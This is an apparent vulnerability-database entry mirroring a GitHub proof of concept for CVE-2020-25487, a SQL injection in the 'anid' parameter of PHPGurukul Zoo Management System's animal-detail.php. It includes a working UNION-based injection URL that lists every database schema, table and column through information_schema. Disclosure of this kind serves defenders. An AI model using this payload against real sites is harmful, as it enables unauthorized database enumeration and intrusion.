CVE-2020-25487 PoC — PHPGURUKUL Zoo Management System SQL注入漏洞

Source

https://github.com/Ko-kn3t/CVE-2020-25487

Associated Vulnerability

Title: PHPGURUKUL Zoo Management System SQL注入漏洞 (CVE-2020-25487)
Description:PHPGURUKUL Zoo Management System Using PHP and MySQL version 1.0 is affected by: SQL Injection via zms/animal-detail.php.

Description

SQL injection Vulnerability in Zoo Management System

Readme

# CVE-2020-25487

#SQL injection Vulnerability in Zoo Management System V 1.0

#Vendor - https://phpgurukul.com

#Product - https://phpgurukul.com/zoo-management-system-using-php-and-mysql/

#Vulnerability Type - SQL injection

#Affected Component - zms/animal-detail.php

#Attack Type- Local

#Impact Code execution - true

#Attack Vectors - Go to client webpage and do sql injection at http://<site>/details.php?anid=
  
#Proof :

http://localhost/zms/animal-detail.php?anid=9%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,(select (@a) from(select(@a:=0x00),(select (@a) from(information_schema.columns)wheretable_schema!='information_schema' and(@a)in(@a:=concat(@a,table_schema,' > ',table_name,' >',column_name,'<br>'))))a),NULL,NULL,NULL,NULL--%20-

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →